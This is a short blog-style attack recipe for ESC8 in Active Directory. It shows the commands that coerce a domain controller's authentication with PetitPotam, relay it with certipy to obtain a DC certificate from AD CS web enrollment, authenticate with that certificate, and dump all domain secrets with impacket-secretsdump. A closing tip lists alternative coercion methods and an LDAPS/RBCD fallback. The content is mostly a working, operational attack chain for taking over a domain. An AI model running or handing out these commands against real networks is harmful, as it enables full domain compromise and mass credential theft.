ESC8: coerce a DC and relay to AD CS web enrollment

Jul 10, 2026 · 1 min read

If the CA exposes web enrollment over HTTP, relay a coerced machine authentication to it and receive a certificate for that machine.

bash

certipy relay -target http://ca.dom -template DomainController
PetitPotam.py -u user -p pass -d dom 10.0.0.5 10.0.0.1   # attacker, DC

Use the DC certificate to authenticate, then replicate secrets.

bash

certipy auth -pfx dc.pfx -dc-ip 10.0.0.1
impacket-secretsdump -k -no-pass -just-dc dom/'DC$'@dc.dom

Pro note: PetitPotam is often patched, so keep DFSCoerce, PrinterBug (SpoolSample), and the MS-EVEN coercions ready. Prefer relaying to LDAPS with channel binding off if certsrv is unreachable, which sets up RBCD instead.